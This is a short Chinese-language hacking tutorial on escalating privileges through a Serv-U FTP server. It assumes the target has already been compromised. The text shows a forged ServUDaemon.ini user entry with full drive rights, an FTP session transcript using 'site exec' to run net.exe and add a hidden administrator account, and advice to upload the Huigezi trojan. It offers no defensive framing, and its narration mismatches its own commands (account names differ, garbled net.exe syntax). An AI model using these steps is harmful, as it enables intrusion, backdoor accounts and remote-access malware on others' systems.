假设已经登陆到对方的计算机系统,并且取得了ServUDaemon.ini文件,而且可以进行编辑.
我们把ServUDaemon.ini down下来,并copy到本地Serv-U软件目录下,利用Serv-U软件添加用户
[USER=test|1]
Password=si4C45A74DD444F94C5829E498EE3C4882
HomeDir=c:\
TimeOut=600
Maintenance=System ////权限类型
Access1=C:\|RWAMELCDP
添加一个test用户,密码testtest
然后保存到服务器Serv-U目录下,覆盖原有ServUDaemon.ini文件
现在我们可以登陆FTP,执行任意命令
ftp>open ip
Connected to ip.
220 Serv-U FTP Server v4.1.0.0 for WinSock ready...
User (ip:(none)): id //输入构造的用户
331 User name okay, please send complete E-mail address as password.
Password:password //密码
230 User logged in, proceed.
ftp> cd winnt //进入win2k的winnt目录,如果是winxp或者是windows server 2003就应该为windows目录。
250 Directory changed to /WINNT
ftp>cd system32 //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user Admin$ admin /add //利用系统的net.exe文件加用户。
200 EXEC command successful (TID=33).
ftp>quote site exec net.exe localhost administrators Admin$/add //提升为超级用户
这样就在本地系统上加了一个为zihuan密码为:ziHUAN的超级用户。也可以直接用quote site exec net.exe localhost administrators user /add命令把当前用户提升到超级用户组中去。当然也可以在系统上执行任何命令。
经过测试,此方法对6.0版本的Serv-U没有什么作用,不能通过net.exe提权,我们可以上传一个木马,比如灰鸽子,通过运行灰鸽子来提权.还有,需要重新启动计算机,可以用iisreset /reboot 来重新启动